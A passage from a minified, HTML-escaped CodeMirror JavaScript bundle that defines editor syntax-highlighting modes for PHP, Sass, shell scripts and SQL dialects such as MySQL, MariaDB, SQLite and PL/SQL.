a.curMode!=f&amp;&amp;/^\s*&lt;\//.test(b)||a.curMode==f&amp;&amp;/^\?&gt;/.test(b)?e.indent(a.html,b):a.curMode.indent(a.curState,b)},blockCommentStart:&quot;/*&quot;,blockCommentEnd:&quot;*/&quot;,lineComment:&quot;//&quot;,innerMode:function(a){return{state:a.curState,mode:a.curMode}}}},&quot;htmlmixed&quot;,&quot;clike&quot;),a.defineMIME(&quot;application/x-httpd-php&quot;,&quot;php&quot;),a.defineMIME(&quot;application/x-httpd-php-open&quot;,{name:&quot;php&quot;,startOpen:!0}),a.defineMIME(&quot;text/x-php&quot;,i)})},{&quot;../../lib/codemirror&quot;:59,&quot;../clike/clike&quot;:60,&quot;../htmlmixed/htmlmixed&quot;:64}],72:[function(a,b,c){!function(d){&quot;object&quot;==typeof c&amp;&amp;&quot;object&quot;==typeof b?d(a(&quot;../../lib/codemirror&quot;),a(&quot;../css/css&quot;)):&quot;function&quot;==typeof define&amp;&amp;define.amd?define([&quot;../../lib/codemirror&quot;,&quot;../css/css&quot;],d):d(CodeMirror)}(function(a){&quot;use strict&quot;;a.defineMode(&quot;sass&quot;,function(b){function c(a){return new RegExp(&quot;^&quot;+a.join(&quot;|&quot;))}function d(a){return!a.peek()||a.match(/\s+$/,!1)}function e(a,b){var c=a.peek();return&quot;)&quot;===c?(a.next(),b.tokenizer=k,&quot;operator&quot;):&quot;(&quot;===c?(a.next(),a.eatSpace(),&quot;operator&quot;):&quot;&#039;&quot;===c||&#039;&quot;&#039;===c?(b.tokenizer=g(a.next()),&quot;string&quot;):(b.tokenizer=g(&quot;)&quot;,!1),&quot;string&quot;)}function f(a,b){return function(c,d){return c.sol()&amp;&amp;c.indentation()&lt;=a?(d.tokenizer=k,k(c,d)):(b&amp;&amp;c.skipTo(&quot;*/&quot;)?(c.next(),c.next(),d.tokenizer=k):c.skipToEnd(),&quot;comment&quot;)}}function g(a,b){function c(e,f){var g=e.next(),i=e.peek(),j=e.string.charAt(e.pos-2),l=&quot;\\&quot;!==g&amp;&amp;i===a||g===a&amp;&amp;&quot;\\&quot;!==j;return l?(g!==a&amp;&amp;b&amp;&amp;e.next(),d(e)&amp;&amp;(f.cursorHalf=0),f.tokenizer=k,&quot;string&quot;):&quot;#&quot;===g&amp;&amp;&quot;{&quot;===i?(f.tokenizer=h(c),e.next(),&quot;operator&quot;):&quot;string&quot;}return null==b&amp;&amp;(b=!0),c}function h(a){return function(b,c){return&quot;}&quot;===b.peek()?(b.next(),c.tokenizer=a,&quot;operator&quot;):k(b,c)}}function i(a){if(0==a.indentCount){a.indentCount++;var c=a.scopes[0].offset,d=c+b.indentUnit;a.scopes.unshift({offset:d})}}function j(a){1!=a.scopes.length&amp;&amp;a.scopes.shift()}function k(a,b){var c=a.peek();if(a.match(&quot;/*&quot;))return b.tokenizer=f(a.indentation(),!0),b.tokenizer(a,b);if(a.match(&quot;//&quot;))return b.tokenizer=f(a.indentation(),!1),b.tokenizer(a,b);if(a.match(&quot;#{&quot;))return b.tokenizer=h(k),&quot;operator&quot;;if(&#039;&quot;&#039;===c||&quot;&#039;&quot;===c)return a.next(),b.tokenizer=g(c),&quot;string&quot;;if(b.cursorHalf){if(&quot;#&quot;===c&amp;&amp;(a.next(),a.match(/[0-9a-fA-F]{6}|[0-9a-fA-F]{3}/)))return d(a)&amp;&amp;(b.cursorHalf=0),&quot;number&quot;;if(a.match(/^-?[0-9\.]+/))return d(a)&amp;&amp;(b.cursorHalf=0),&quot;number&quot;;if(a.match(/^(px|em|in)\b/))return d(a)&amp;&amp;(b.cursorHalf=0),&quot;unit&quot;;if(a.match(t))return d(a)&amp;&amp;(b.cursorHalf=0),&quot;keyword&quot;;if(a.match(/^url/)&amp;&amp;&quot;(&quot;===a.peek())return b.tokenizer=e,d(a)&amp;&amp;(b.cursorHalf=0),&quot;atom&quot;;if(&quot;$&quot;===c)return a.next(),a.eatWhile(/[\w-]/),d(a)&amp;&amp;(b.cursorHalf=0),&quot;variable-2&quot;;if(&quot;!&quot;===c)return a.next(),b.cursorHalf=0,a.match(/^[\w]+/)?&quot;keyword&quot;:&quot;operator&quot;;if(a.match(v))return d(a)&amp;&amp;(b.cursorHalf=0),&quot;operator&quot;;if(a.eatWhile(/[\w-]/))return d(a)&amp;&amp;(b.cursorHalf=0),m=a.current().toLowerCase(),q.hasOwnProperty(m)?&quot;atom&quot;:p.hasOwnProperty(m)?&quot;keyword&quot;:o.hasOwnProperty(m)?(b.prevProp=a.current().toLowerCase(),&quot;property&quot;):&quot;tag&quot;;if(d(a))return b.cursorHalf=0,null}else{if(&quot;-&quot;===c&amp;&amp;a.match(/^-\w+-/))return&quot;meta&quot;;if(&quot;.&quot;===c){if(a.next(),a.match(/^[\w-]+/))return i(b),&quot;qualifier&quot;;if(&quot;#&quot;===a.peek())return i(b),&quot;tag&quot;}if(&quot;#&quot;===c){if(a.next(),a.match(/^[\w-]+/))return i(b),&quot;builtin&quot;;if(&quot;#&quot;===a.peek())return i(b),&quot;tag&quot;}if(&quot;$&quot;===c)return a.next(),a.eatWhile(/[\w-]/),&quot;variable-2&quot;;if(a.match(/^-?[0-9\.]+/))return&quot;number&quot;;if(a.match(/^(px|em|in)\b/))return&quot;unit&quot;;if(a.match(t))return&quot;keyword&quot;;if(a.match(/^url/)&amp;&amp;&quot;(&quot;===a.peek())return b.tokenizer=e,&quot;atom&quot;;if(&quot;=&quot;===c&amp;&amp;a.match(/^=[\w-]+/))return i(b),&quot;meta&quot;;if(&quot;+&quot;===c&amp;&amp;a.match(/^\+[\w-]+/))return&quot;variable-3&quot;;if(&quot;@&quot;===c&amp;&amp;a.match(/@extend/)&amp;&amp;(a.match(/\s*[\w]/)||j(b)),a.match(/^@(else if|if|media|else|for|each|while|mixin|function)/))return i(b),&quot;def&quot;;if(&quot;@&quot;===c)return a.next(),a.eatWhile(/[\w-]/),&quot;def&quot;;if(a.eatWhile(/[\w-]/)){if(a.match(/ *: *[\w-\+\$#!\(&quot;&#039;]/,!1)){m=a.current().toLowerCase();var l=b.prevProp+&quot;-&quot;+m;return o.hasOwnProperty(l)?&quot;property&quot;:o.hasOwnProperty(m)?(b.prevProp=m,&quot;property&quot;):r.hasOwnProperty(m)?&quot;property&quot;:&quot;tag&quot;}return a.match(/ *:/,!1)?(i(b),b.cursorHalf=1,b.prevProp=a.current().toLowerCase(),&quot;property&quot;):a.match(/ *,/,!1)?&quot;tag&quot;:(i(b),&quot;tag&quot;)}if(&quot;:&quot;===c)return a.match(w)?&quot;variable-3&quot;:(a.next(),b.cursorHalf=1,&quot;operator&quot;)}return a.match(v)?&quot;operator&quot;:(a.next(),null)}function l(a,c){a.sol()&amp;&amp;(c.indentCount=0);var d=c.tokenizer(a,c),e=a.current();if(&quot;@return&quot;!==e&amp;&amp;&quot;}&quot;!==e||j(c),null!==d){for(var f=a.pos-e.length,g=f+b.indentUnit*c.indentCount,h=[],i=0;i&lt;c.scopes.length;i++){var k=c.scopes[i];k.offset&lt;=g&amp;&amp;h.push(k)}c.scopes=h}return d}var m,n=a.mimeModes[&quot;text/css&quot;],o=n.propertyKeywords||{},p=n.colorKeywords||{},q=n.valueKeywords||{},r=n.fontProperties||{},s=[&quot;true&quot;,&quot;false&quot;,&quot;null&quot;,&quot;auto&quot;],t=new RegExp(&quot;^&quot;+s.join(&quot;|&quot;)),u=[&quot;\\(&quot;,&quot;\\)&quot;,&quot;=&quot;,&quot;&gt;&quot;,&quot;&lt;&quot;,&quot;==&quot;,&quot;&gt;=&quot;,&quot;&lt;=&quot;,&quot;\\+&quot;,&quot;-&quot;,&quot;\\!=&quot;,&quot;/&quot;,&quot;\\*&quot;,&quot;%&quot;,&quot;and&quot;,&quot;or&quot;,&quot;not&quot;,&quot;;&quot;,&quot;\\{&quot;,&quot;\\}&quot;,&quot;:&quot;],v=c(u),w=/^::?[a-zA-Z_][\w\-]*/;return{startState:function(){return{tokenizer:k,scopes:[{offset:0,type:&quot;sass&quot;}],indentCount:0,cursorHalf:0,definedVars:[],definedMixins:[]}},token:function(a,b){var c=l(a,b);return b.lastToken={style:c,content:a.current()},c},indent:function(a){return a.scopes[0].offset}}},&quot;css&quot;),a.defineMIME(&quot;text/x-sass&quot;,&quot;sass&quot;)})},{&quot;../../lib/codemirror&quot;:59,&quot;../css/css&quot;:61}],73:[function(a,b,c){!function(d){&quot;object&quot;==typeof c&amp;&amp;&quot;object&quot;==typeof b?d(a(&quot;../../lib/codemirror&quot;)):&quot;function&quot;==typeof define&amp;&amp;define.amd?define([&quot;../../lib/codemirror&quot;],d):d(CodeMirror)}(function(a){&quot;use strict&quot;;a.defineMode(&quot;shell&quot;,function(){function a(a,b){for(var c=b.split(&quot; &quot;),d=0;d&lt;c.length;d++)e[c[d]]=a}function b(a,b){if(a.eatSpace())return null;var g=a.sol(),h=a.next();if(&quot;\\&quot;===h)return a.next(),null;if(&quot;&#039;&quot;===h||&#039;&quot;&#039;===h||&quot;`&quot;===h)return b.tokens.unshift(c(h,&quot;`&quot;===h?&quot;quote&quot;:&quot;string&quot;)),d(a,b);if(&quot;#&quot;===h)return g&amp;&amp;a.eat(&quot;!&quot;)?(a.skipToEnd(),&quot;meta&quot;):(a.skipToEnd(),&quot;comment&quot;);if(&quot;$&quot;===h)return b.tokens.unshift(f),d(a,b);if(&quot;+&quot;===h||&quot;=&quot;===h)return&quot;operator&quot;;if(&quot;-&quot;===h)return a.eat(&quot;-&quot;),a.eatWhile(/\w/),&quot;attribute&quot;;if(/\d/.test(h)&amp;&amp;(a.eatWhile(/\d/),a.eol()||!/\w/.test(a.peek())))return&quot;number&quot;;a.eatWhile(/[\w-]/);var i=a.current();return&quot;=&quot;===a.peek()&amp;&amp;/\w+/.test(i)?&quot;def&quot;:e.hasOwnProperty(i)?e[i]:null}function c(a,b){var e=&quot;(&quot;==a?&quot;)&quot;:&quot;{&quot;==a?&quot;}&quot;:a;return function(g,h){for(var i,j=!1,k=!1;null!=(i=g.next());){if(i===e&amp;&amp;!k){j=!0;break}if(&quot;$&quot;===i&amp;&amp;!k&amp;&amp;&quot;&#039;&quot;!==a){k=!0,g.backUp(1),h.tokens.unshift(f);break}if(!k&amp;&amp;i===a&amp;&amp;a!==e)return h.tokens.unshift(c(a,b)),d(g,h);k=!k&amp;&amp;&quot;\\&quot;===i}return j&amp;&amp;h.tokens.shift(),b}}function d(a,c){return(c.tokens[0]||b)(a,c)}var e={};a(&quot;atom&quot;,&quot;true false&quot;),a(&quot;keyword&quot;,&quot;if then do else elif while until for in esac fi fin fil done exit set unset export function&quot;),a(&quot;builtin&quot;,&quot;ab awk bash beep cat cc cd chown chmod chroot clear cp curl cut diff echo find gawk gcc get git grep hg kill killall ln ls make mkdir openssl mv nc node npm ping ps restart rm rmdir sed service sh shopt shred source sort sleep ssh start stop su sudo svn tee telnet top touch vi vim wall wc wget who write yes zsh&quot;);var f=function(a,b){b.tokens.length&gt;1&amp;&amp;a.eat(&quot;$&quot;);var e=a.next();return/[&#039;&quot;({]/.test(e)?(b.tokens[0]=c(e,&quot;(&quot;==e?&quot;quote&quot;:&quot;{&quot;==e?&quot;def&quot;:&quot;string&quot;),d(a,b)):(/\d/.test(e)||a.eatWhile(/\w/),b.tokens.shift(),&quot;def&quot;)};return{startState:function(){return{tokens:[]}},token:function(a,b){return d(a,b)},closeBrackets:&quot;()[]{}&#039;&#039;\&quot;\&quot;``&quot;,lineComment:&quot;#&quot;,fold:&quot;brace&quot;}}),a.defineMIME(&quot;text/x-sh&quot;,&quot;shell&quot;),a.defineMIME(&quot;application/x-sh&quot;,&quot;shell&quot;)})},{&quot;../../lib/codemirror&quot;:59}],74:[function(a,b,c){!function(d){&quot;object&quot;==typeof c&amp;&amp;&quot;object&quot;==typeof b?d(a(&quot;../../lib/codemirror&quot;)):&quot;function&quot;==typeof define&amp;&amp;define.amd?define([&quot;../../lib/codemirror&quot;],d):d(CodeMirror)}(function(a){&quot;use strict&quot;;a.defineMode(&quot;sql&quot;,function(b,c){function d(a,b){var c=a.next();if(o[c]){var d=o[c](a,b);if(d!==!1)return d}if(n.hexNumber&amp;&amp;(&quot;0&quot;==c&amp;&amp;a.match(/^[xX][0-9a-fA-F]+/)||(&quot;x&quot;==c||&quot;X&quot;==c)&amp;&amp;a.match(/^&#039;[0-9a-fA-F]+&#039;/)))return&quot;number&quot;;if(n.binaryNumber&amp;&amp;((&quot;b&quot;==c||&quot;B&quot;==c)&amp;&amp;a.match(/^&#039;[01]+&#039;/)||&quot;0&quot;==c&amp;&amp;a.match(/^b[01]+/)))return&quot;number&quot;;if(c.charCodeAt(0)&gt;47&amp;&amp;c.charCodeAt(0)&lt;58)return a.match(/^[0-9]*(\.[0-9]+)?([eE][-+]?[0-9]+)?/),n.decimallessFloat&amp;&amp;a.match(/^\.(?!\.)/),&quot;number&quot;;if(&quot;?&quot;==c&amp;&amp;(a.eatSpace()||a.eol()||a.eat(&quot;;&quot;)))return&quot;variable-3&quot;;if(&quot;&#039;&quot;==c||&#039;&quot;&#039;==c&amp;&amp;n.doubleQuote)return b.tokenize=e(c),b.tokenize(a,b);if((n.nCharCast&amp;&amp;(&quot;n&quot;==c||&quot;N&quot;==c)||n.charsetCast&amp;&amp;&quot;_&quot;==c&amp;&amp;a.match(/[a-z][a-z0-9]*/i))&amp;&amp;(&quot;&#039;&quot;==a.peek()||&#039;&quot;&#039;==a.peek()))return&quot;keyword&quot;;if(/^[\(\),\;\[\]]/.test(c))return null;if(n.commentSlashSlash&amp;&amp;&quot;/&quot;==c&amp;&amp;a.eat(&quot;/&quot;))return a.skipToEnd(),&quot;comment&quot;;if(n.commentHash&amp;&amp;&quot;#&quot;==c||&quot;-&quot;==c&amp;&amp;a.eat(&quot;-&quot;)&amp;&amp;(!n.commentSpaceRequired||a.eat(&quot; &quot;)))return a.skipToEnd(),&quot;comment&quot;;if(&quot;/&quot;==c&amp;&amp;a.eat(&quot;*&quot;))return b.tokenize=f(1),b.tokenize(a,b);if(&quot;.&quot;!=c){if(m.test(c))return a.eatWhile(m),null;if(&quot;{&quot;==c&amp;&amp;(a.match(/^( )*(d|D|t|T|ts|TS)( )*&#039;[^&#039;]*&#039;( )*}/)||a.match(/^( )*(d|D|t|T|ts|TS)( )*&quot;[^&quot;]*&quot;( )*}/)))return&quot;number&quot;;a.eatWhile(/^[_\w\d]/);var g=a.current().toLowerCase();return p.hasOwnProperty(g)&amp;&amp;(a.match(/^( )+&#039;[^&#039;]*&#039;/)||a.match(/^( )+&quot;[^&quot;]*&quot;/))?&quot;number&quot;:j.hasOwnProperty(g)?&quot;atom&quot;:k.hasOwnProperty(g)?&quot;builtin&quot;:l.hasOwnProperty(g)?&quot;keyword&quot;:i.hasOwnProperty(g)?&quot;string-2&quot;:null}return n.zerolessFloat&amp;&amp;a.match(/^(?:\d+(?:e[+-]?\d+)?)/i)?&quot;number&quot;:a.match(/^\.+/)?null:n.ODBCdotTable&amp;&amp;a.match(/^[\w\d_]+/)?&quot;variable-2&quot;:void 0}function e(a){return function(b,c){for(var e,f=!1;null!=(e=b.next());){if(e==a&amp;&amp;!f){c.tokenize=d;break}f=!f&amp;&amp;&quot;\\&quot;==e}return&quot;string&quot;}}function f(a){return function(b,c){var e=b.match(/^.*?(\/\*|\*\/)/);return e?&quot;/*&quot;==e[1]?c.tokenize=f(a+1):a&gt;1?c.tokenize=f(a-1):c.tokenize=d:b.skipToEnd(),&quot;comment&quot;}}function g(a,b,c){b.context={prev:b.context,indent:a.indentation(),col:a.column(),type:c}}function h(a){a.indent=a.context.indent,a.context=a.context.prev}var i=c.client||{},j=c.atoms||{&quot;false&quot;:!0,&quot;true&quot;:!0,&quot;null&quot;:!0},k=c.builtin||{},l=c.keywords||{},m=c.operatorChars||/^[*+\-%&lt;&gt;!=&amp;|~^]/,n=c.support||{},o=c.hooks||{},p=c.dateSQL||{date:!0,time:!0,timestamp:!0};return{startState:function(){return{tokenize:d,context:null}},token:function(a,b){if(a.sol()&amp;&amp;b.context&amp;&amp;null==b.context.align&amp;&amp;(b.context.align=!1),b.tokenize==d&amp;&amp;a.eatSpace())return null;var c=b.tokenize(a,b);if(&quot;comment&quot;==c)return c;b.context&amp;&amp;null==b.context.align&amp;&amp;(b.context.align=!0);var e=a.current();return&quot;(&quot;==e?g(a,b,&quot;)&quot;):&quot;[&quot;==e?g(a,b,&quot;]&quot;):b.context&amp;&amp;b.context.type==e&amp;&amp;h(b),c},indent:function(c,d){var e=c.context;if(!e)return a.Pass;var f=d.charAt(0)==e.type;return e.align?e.col+(f?0:1):e.indent+(f?0:b.indentUnit)},blockCommentStart:&quot;/*&quot;,blockCommentEnd:&quot;*/&quot;,lineComment:n.commentSlashSlash?&quot;//&quot;:n.commentHash?&quot;#&quot;:&quot;--&quot;}}),function(){function b(a){for(var b;null!=(b=a.next());)if(&quot;`&quot;==b&amp;&amp;!a.eat(&quot;`&quot;))return&quot;variable-2&quot;;return a.backUp(a.current().length-1),a.eatWhile(/\w/)?&quot;variable-2&quot;:null}function c(a){for(var b;null!=(b=a.next());)if(&#039;&quot;&#039;==b&amp;&amp;!a.eat(&#039;&quot;&#039;))return&quot;variable-2&quot;;return a.backUp(a.current().length-1),a.eatWhile(/\w/)?&quot;variable-2&quot;:null}function d(a){return a.eat(&quot;@&quot;)&amp;&amp;(a.match(/^session\./),a.match(/^local\./),a.match(/^global\./)),a.eat(&quot;&#039;&quot;)?(a.match(/^.*&#039;/),&quot;variable-2&quot;):a.eat(&#039;&quot;&#039;)?(a.match(/^.*&quot;/),&quot;variable-2&quot;):a.eat(&quot;`&quot;)?(a.match(/^.*`/),&quot;variable-2&quot;):a.match(/^[0-9a-zA-Z$\.\_]+/)?&quot;variable-2&quot;:null}function e(a){return a.eat(&quot;N&quot;)?&quot;atom&quot;:a.match(/^[a-zA-Z.#!?]/)?&quot;variable-2&quot;:null}function f(a){for(var b={},c=a.split(&quot; &quot;),d=0;d&lt;c.length;++d)b[c[d]]=!0;return b}var g=&quot;alter and as asc between by count create delete desc distinct drop from group having in insert into is join like not on or order select set table union update values where limit &quot;;a.defineMIME(&quot;text/x-sql&quot;,{name:&quot;sql&quot;,keywords:f(g+&quot;begin&quot;),builtin:f(&quot;bool boolean bit blob enum long longblob longtext medium mediumblob mediumint mediumtext time timestamp tinyblob tinyint tinytext text bigint int int1 int2 int3 int4 int8 integer float float4 float8 double char varbinary varchar varcharacter precision real date datetime year unsigned signed decimal numeric&quot;),atoms:f(&quot;false true null unknown&quot;),operatorChars:/^[*+\-%&lt;&gt;!=]/,dateSQL:f(&quot;date time timestamp&quot;),support:f(&quot;ODBCdotTable doubleQuote binaryNumber hexNumber&quot;)}),a.defineMIME(&quot;text/x-mssql&quot;,{name:&quot;sql&quot;,client:f(&quot;charset clear connect edit ego exit go help nopager notee nowarning pager print prompt quit rehash source status system tee&quot;),keywords:f(g+&quot;begin trigger proc view index for add constraint key primary foreign collate clustered nonclustered declare exec&quot;),builtin:f(&quot;bigint numeric bit smallint decimal smallmoney int tinyint money float real char varchar text nchar nvarchar ntext binary varbinary image cursor timestamp hierarchyid uniqueidentifier sql_variant xml table &quot;),atoms:f(&quot;false true null unknown&quot;),operatorChars:/^[*+\-%&lt;&gt;!=]/,dateSQL:f(&quot;date datetimeoffset datetime2 smalldatetime datetime time&quot;),hooks:{&quot;@&quot;:d}}),a.defineMIME(&quot;text/x-mysql&quot;,{name:&quot;sql&quot;,client:f(&quot;charset clear connect edit ego exit go help nopager notee nowarning pager print prompt quit rehash source status system tee&quot;),keywords:f(g+&quot;accessible action add after algorithm all analyze asensitive at authors auto_increment autocommit avg avg_row_length before binary binlog both btree cache call cascade cascaded case catalog_name chain change changed character check checkpoint checksum class_origin client_statistics close coalesce code collate collation collations column columns comment commit committed completion concurrent condition connection consistent constraint contains continue contributors convert cross current current_date current_time current_timestamp current_user cursor data database databases day_hour day_microsecond day_minute day_second deallocate dec declare default delay_key_write delayed delimiter des_key_file describe deterministic dev_pop dev_samp deviance diagnostics directory disable discard distinctrow div dual dumpfile each elseif enable enclosed end ends engine engines enum errors escape escaped even event events every execute exists exit explain extended fast fetch field fields first flush for force foreign found_rows full fulltext function general get global grant grants group group_concat handler hash help high_priority hosts hour_microsecond hour_minute hour_second if ignore ignore_server_ids import index index_statistics infile inner innodb inout insensitive insert_method install interval invoker isolation iterate key keys kill language last leading leave left level limit linear lines list load local localtime localtimestamp lock logs low_priority master master_heartbeat_period master_ssl_verify_server_cert masters match max max_rows maxvalue message_text middleint migrate min min_rows minute_microsecond minute_second mod mode modifies modify mutex mysql_errno natural next no no_write_to_binlog offline offset one online open optimize option optionally out outer outfile pack_keys parser partition partitions password phase plugin plugins prepare preserve prev primary privileges procedure processlist profile profiles purge query quick range read read_write reads real rebuild recover references regexp relaylog release remove rename reorganize repair repeatable replace require resignal restrict resume return returns revoke right rlike rollback rollup row row_format rtree savepoint schedule schema schema_name schemas second_microsecond security sensitive separator serializable server session share show signal slave slow smallint snapshot soname spatial specific sql sql_big_result sql_buffer_result sql_cache sql_calc_found_rows sql_no_cache sql_small_result sqlexception sqlstate sqlwarning ssl start starting starts status std stddev stddev_pop stddev_samp storage straight_join subclass_origin sum suspend table_name table_statistics tables tablespace temporary terminated to trailing transaction trigger triggers truncate uncommitted undo uninstall unique unlock upgrade usage use use_frm user user_resources user_statistics using utc_date utc_time utc_timestamp value variables varying view views warnings when while with work write xa xor year_month zerofill begin do then else loop repeat&quot;),builtin:f(&quot;bool boolean bit blob decimal double float long longblob longtext medium mediumblob mediumint mediumtext time timestamp tinyblob tinyint tinytext text bigint int int1 int2 int3 int4 int8 integer float float4 float8 double char varbinary varchar varcharacter precision date datetime year unsigned signed numeric&quot;),atoms:f(&quot;false true null unknown&quot;),operatorChars:/^[*+\-%&lt;&gt;!=&amp;|^]/,dateSQL:f(&quot;date time timestamp&quot;),support:f(&quot;ODBCdotTable decimallessFloat zerolessFloat binaryNumber hexNumber doubleQuote nCharCast charsetCast commentHash commentSpaceRequired&quot;),hooks:{&quot;@&quot;:d,&quot;`&quot;:b,&quot;\\&quot;:e}}),a.defineMIME(&quot;text/x-mariadb&quot;,{name:&quot;sql&quot;,client:f(&quot;charset clear connect edit ego exit go help nopager notee nowarning pager print prompt quit rehash source status system tee&quot;),keywords:f(g+&quot;accessible action add after algorithm all always analyze asensitive at authors auto_increment autocommit avg avg_row_length before binary binlog both btree cache call cascade cascaded case catalog_name chain change changed character check checkpoint checksum class_origin client_statistics close coalesce code collate collation collations column columns comment commit committed completion concurrent condition connection consistent constraint contains continue contributors convert cross current current_date current_time current_timestamp current_user cursor data database databases day_hour day_microsecond day_minute day_second deallocate dec declare default delay_key_write delayed delimiter des_key_file describe deterministic dev_pop dev_samp deviance diagnostics directory disable discard distinctrow div dual dumpfile each elseif enable enclosed end ends engine engines enum errors escape escaped even event events every execute exists exit explain extended fast fetch field fields first flush for force foreign found_rows full fulltext function general generated get global grant grants group groupby_concat handler hard hash help high_priority hosts hour_microsecond hour_minute hour_second if ignore ignore_server_ids import index index_statistics infile inner innodb inout insensitive insert_method install interval invoker isolation iterate key keys kill language last leading leave left level limit linear lines list load local localtime localtimestamp lock logs low_priority master master_heartbeat_period master_ssl_verify_server_cert masters match max max_rows maxvalue message_text middleint migrate min min_rows minute_microsecond minute_second mod mode modifies modify mutex mysql_errno natural next no no_write_to_binlog offline offset one online open optimize option optionally out outer outfile pack_keys parser partition partitions password persistent phase plugin plugins prepare preserve prev primary privileges procedure processlist profile profiles purge query quick range read read_write reads real rebuild recover references regexp relaylog release remove rename reorganize repair repeatable replace require resignal restrict resume return returns revoke right rlike rollback rollup row row_format rtree savepoint schedule schema schema_name schemas second_microsecond security sensitive separator serializable server session share show shutdown signal slave slow smallint snapshot soft soname spatial specific sql sql_big_result sql_buffer_result sql_cache sql_calc_found_rows sql_no_cache sql_small_result sqlexception sqlstate sqlwarning ssl start starting starts status std stddev stddev_pop stddev_samp storage straight_join subclass_origin sum suspend table_name table_statistics tables tablespace temporary terminated to trailing transaction trigger triggers truncate uncommitted undo uninstall unique unlock upgrade usage use use_frm user user_resources user_statistics using utc_date utc_time utc_timestamp value variables varying view views virtual warnings when while with work write xa xor year_month zerofill begin do then else loop repeat&quot;),builtin:f(&quot;bool boolean bit blob decimal double float long longblob longtext medium mediumblob mediumint mediumtext time timestamp tinyblob tinyint tinytext text bigint int int1 int2 int3 int4 int8 integer float float4 float8 double char varbinary varchar varcharacter precision date datetime year unsigned signed numeric&quot;),atoms:f(&quot;false true null unknown&quot;),operatorChars:/^[*+\-%&lt;&gt;!=&amp;|^]/,dateSQL:f(&quot;date time timestamp&quot;),support:f(&quot;ODBCdotTable decimallessFloat zerolessFloat binaryNumber hexNumber doubleQuote nCharCast charsetCast commentHash commentSpaceRequired&quot;),hooks:{&quot;@&quot;:d,&quot;`&quot;:b,&quot;\\&quot;:e}}),a.defineMIME(&quot;text/x-sqlite&quot;,{name:&quot;sql&quot;,client:f(&quot;auth backup bail binary changes check clone databases dbinfo dump echo eqp exit explain fullschema headers help import imposter indexes iotrace limit lint load log mode nullvalue once open output print prompt quit read restore save scanstats schema separator session shell show stats system tables testcase timeout timer trace vfsinfo vfslist vfsname width&quot;),keywords:f(g+&quot;abort action add after all analyze attach autoincrement before begin cascade case cast check collate column commit conflict constraint cross current_date current_time current_timestamp database default deferrable deferred detach each else end escape except exclusive exists explain fail for foreign full glob if ignore immediate index indexed initially inner instead intersect isnull key left limit match natural no notnull null of offset outer plan pragma primary query raise recursive references regexp reindex release rename replace restrict right rollback row savepoint temp temporary then to transaction trigger unique using vacuum view virtual when with without&quot;),builtin:f(&quot;bool boolean bit blob decimal double float long longblob longtext medium mediumblob mediumint mediumtext time timestamp tinyblob tinyint tinytext text clob bigint int int2 int8 integer float double char varchar date datetime year unsigned signed numeric real&quot;),atoms:f(&quot;null current_date current_time current_timestamp&quot;),operatorChars:/^[*+\-%&lt;&gt;!=&amp;|\/~]/,dateSQL:f(&quot;date time timestamp datetime&quot;),support:f(&quot;decimallessFloat zerolessFloat&quot;),identifierQuote:&#039;&quot;&#039;,hooks:{&quot;@&quot;:d,&quot;:&quot;:d,&quot;?&quot;:d,$:d,&#039;&quot;&#039;:c,&quot;`&quot;:b}}),a.defineMIME(&quot;text/x-cassandra&quot;,{name:&quot;sql&quot;,client:{},keywords:f(&quot;add all allow alter and any apply as asc authorize batch begin by clustering columnfamily compact consistency count create custom delete desc distinct drop each_quorum exists filtering from grant if in index insert into key keyspace keyspaces level limit local_one local_quorum modify nan norecursive nosuperuser not of on one order password permission permissions primary quorum rename revoke schema select set storage superuser table three to token truncate ttl two type unlogged update use user users using values where with writetime&quot;),builtin:f(&quot;ascii bigint blob boolean counter decimal double float frozen inet int list map static text timestamp timeuuid tuple uuid varchar varint&quot;),atoms:f(&quot;false true infinity NaN&quot;),operatorChars:/^[&lt;&gt;=]/,dateSQL:{},support:f(&quot;commentSlashSlash decimallessFloat&quot;),hooks:{}}),a.defineMIME(&quot;text/x-plsql&quot;,{name:&quot;sql&quot;,client:f(&quot;appinfo arraysize autocommit autoprint autorecovery autotrace blockterminator break btitle cmdsep colsep compatibility compute concat copycommit copytypecheck define describe echo editfile embedded escape exec execute feedback flagger flush heading headsep instance linesize lno loboffset logsource long longchunksize markup native newpage numformat numwidth pagesize pause pno recsep recsepchar release repfooter repheader serveroutput shiftinout show showmode size spool sqlblanklines sqlcase sqlcode sqlcontinue sqlnumber sqlpluscompatibility sqlprefix sqlprompt sqlterminator suffix tab term termout time timing trimout trimspool ttitle underline verify version wrap&quot;),keywords:f(&quot;abort accept access add all alter and any array arraylen as asc assert assign at attributes audit authorization avg base_table begin between binary_integer body boolean by case cast char char_base check close cluster clusters colauth column comment commit compress connect connected constant constraint crash create current currval cursor data_base database date dba deallocate debugoff debugon decimal declare default definition delay delete desc digits dispose distinct do drop else elseif elsif enable end entry escape exception exception_init exchange exclusive exists exit external fast fetch file for force form from function generic goto grant group having identified if immediate in increment index indexes indicator initial initrans insert interface intersect into is key level library like limited local lock log logging long loop master maxextents maxtrans member minextents minus mislabel mode modify multiset new next no noaudit nocompress nologging noparallel not nowait number_base object of off offline on online only open option or order out package parallel partition pctfree pctincrease pctused pls_integer positive positiven pragma primary prior private privileges procedure public raise range raw read rebuild record ref references refresh release rename replace resource restrict return returning returns reverse revoke rollback row rowid rowlabel rownum rows run savepoint schema segment select separate session set share snapshot some space split sql start statement storage subtype successful synonym tabauth table tables tablespace task terminate then to trigger truncate type union unique unlimited unrecoverable unusable update use using validate value values variable view views when whenever where while with work&quot;),builtin:f(&quot;abs acos add_months ascii asin atan atan2 average bfile bfilename bigserial bit blob ceil character chartorowid chr clob concat convert cos cosh count dec decode deref dual dump dup_val_on_index empty error exp false float floor found glb greatest hextoraw initcap instr instrb int integer isopen last_day least length lengthb ln lower lpad ltrim lub make_ref max min mlslabel mod months_between natural naturaln nchar nclob new_time next_day nextval nls_charset_decl_len nls_charset_id nls_charset_name nls_initcap nls_lower nls_sort nls_upper nlssort no_data_found notfound null number numeric nvarchar2 nvl others power rawtohex real reftohex round rowcount rowidtochar rowtype rpad rtrim serial sign signtype sin sinh smallint soundex sqlcode sqlerrm sqrt stddev string substr substrb sum sysdate tan tanh to_char text to_date to_label to_multi_byte to_number to_single_byte translate true trunc uid unlogged upper user userenv varchar varchar2 variance varying vsize xml&quot;),operatorChars:/^[*+\-%&lt;&gt;!=~]/,dateSQL:f(&quot;date time timestamp&quot;),support:f(&quot;doubleQuote nCharCast zerolessFloat binaryNumber hexNumber&quot;)}),a.defineMIME(&quot;text/x-hive&quot;,{name:&quot;sql&quot;,keywords:f(&quot;select alter $elem$ $key$ $value$ add after all analyze and archive as 